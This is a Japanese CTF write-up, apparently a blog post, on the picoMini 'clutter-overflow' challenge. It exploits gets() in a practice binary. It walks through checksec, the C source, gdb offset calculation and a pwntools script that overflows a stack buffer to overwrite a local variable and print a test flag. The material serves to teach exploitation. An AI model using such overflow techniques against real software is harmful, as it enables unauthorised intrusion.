picoMini by redpwnの「clutter-overflow」。ローカル変数の書き換えをしてif文の判定をTrueにしフラグを出力。
基礎的な問題だが、ローカル変数の書き換え、スタックの様子など良い復習になった。
プログラムの概要
checksec
shoebill@pwner:~/pico$ checksec ./chall
[*] '/home/shoebill/pico/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
「NX enabled」より、テキスト領域でないデータ領域に置かれたコードが実行できない。
しかしソースコードを見ればわかるように、こちらがシェルを起動する必要はなく、system(cat flag.txt)でフラグを出力するようになっている。
ソースコード
”pwn問でお馴染みの”gets関数があることに気付く(一部省略):
... #define SIZE 0x100 #define GOAL 0xdeadbeef int main(void) { long code = 0; char clutter[SIZE]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("My room is so cluttered..."); puts("What do you see?"); gets(clutter); if (code == GOAL) { printf("code == 0x%llx: how did that happen??\n", GOAL); puts("take a flag for your troubles"); system("cat flag.txt"); } else { printf("code == 0x%llx\n", code); printf("code != 0x%llx :(\n", GOAL); } ...
戦略
if (code == GOAL)をTrueにすればよい
👇
そのためには0で初期化されているローカル変数codeを0xdeadbeefに書き換えればよい
👇
gets(clutter)の部分でbofして変数codeに0xdeadbeefを書きこむ
デバッグしてアドレスやオフセットを求める
codeのアドレス
まずmain関数をディスアセンブルすれば、code変数の位置はrbp-0x8とわかる:
(ローカル変数はrbpレジスタからの変位で表される)
gdb-peda$ disas main Dump of assembler code for function main: 0x00000000004006c7 <+0>: push rbp 0x00000000004006c8 <+1>: mov rbp,rsp 0x00000000004006cb <+4>: sub rsp,0x110 0x00000000004006d2 <+11>: mov QWORD PTR [rbp-0x8],0x0 # 👈 この0で初期化してる部分 0x00000000004006da <+19>: mov rax,QWORD PTR [rip+0x20197f] 0x00000000004006e1 <+26>: mov esi,0x0 0x00000000004006e6 <+31>: mov rdi,rax 0x00000000004006e9 <+34>: call 0x4005a0 <setbuf@plt> ...
スタックのイメージ:
+-----------------------------+
| |
-0x8 | code |
| |
+-----------------------------+
| |
| saved rbp |
| |
+-----------------------------+
| |
| retaddr |
+0x8 | |
+-----------------------------+
clutterのアドレス
gets(clutter);の位置にブレイクポイントを打って、その時のrdiレジスタを見ればよい:
gdb-peda$ b *main+133
gdb-peda$ r
...
[-------------------------------------code-------------------------------------]
0x40073d <main+118>: lea rax,[rbp-0x110]
0x400744 <main+125>: mov rdi,rax
0x400747 <main+128>: mov eax,0x0
=> 0x40074c <main+133>: call 0x4005d0 <gets@plt>
0x400751 <main+138>: mov eax,0xdeadbeef
0x400756 <main+143>: cmp QWORD PTR [rbp-0x8],rax
0x40075a <main+147>: jne 0x40078c <main+197>
0x40075c <main+149>: mov esi,0xdeadbeef
Guessed arguments:
arg[0]: 0x7fffffffdc20 --> 0x8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc20 --> 0x8
0008| 0x7fffffffdc28 --> 0x40 ('@')
0016| 0x7fffffffdc30 --> 0x40 ('@')
0024| 0x7fffffffdc38 --> 0x10
0032| 0x7fffffffdc40 --> 0x0
0040| 0x7fffffffdc48 --> 0x1ffffefcf
0048| 0x7fffffffdc50 --> 0x0
0056| 0x7fffffffdc58 --> 0x8e00000006
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040074c in main ()
gdb-peda$ i r rdi
rdi 0x7fffffffdc20 0x7fffffffdc20
rbpからの変位を求める:
gdb-peda$ i r rbp rbp 0x7fffffffdd30 0x7fffffffdd30 gdb-peda$ p 0x7fffffffdd30-0x7fffffffdc20 $1 = 0x110
(rbp-0x8にcode変数がいたことに注意して)clutterからcodeまでのオフセットを求める:
gdb-peda$ p 0x110-0x08 $2 = 0x108
スタックのイメージ:
+-----------------------------+
| |
| |
-0x110 | clutter |
| |
| |
+-----------------------------+
| |
-0x8 | code |
| |
+-----------------------------+
| |
| saved rbp |
| |
+-----------------------------+
| |
| retaddr |
+0x8 | |
+-----------------------------+
あ、clutterのサイズは#define SIZE 0x100って定義されてたな。
exploit
clutterを0x108バイト分適当な文字で埋めて、その後にcodeがあるからそこに0xdeadbeefを書き込む(リトルエンディアンで与える)。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context.binary = bin_file def attack(conn, **kwargs): payload = b'a' * 0x108 payload += p64(0xdeadbeef) conn.sendlineafter(b'What do you see?\n', payload) def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__ == '__main__': main()
実行結果:
shoebill@pwner:~/pico$ ./exploit.py
[+] Starting local process './chall': pid 7612
[*] Switching to interactive mode
[*] Process './chall' stopped with exit code 0 (pid 7612)
code == 0xdeadbeef: how did that happen??
take a flag for your troubles
picoCTF{test_flag}
[*] Got EOF while reading in interactive
$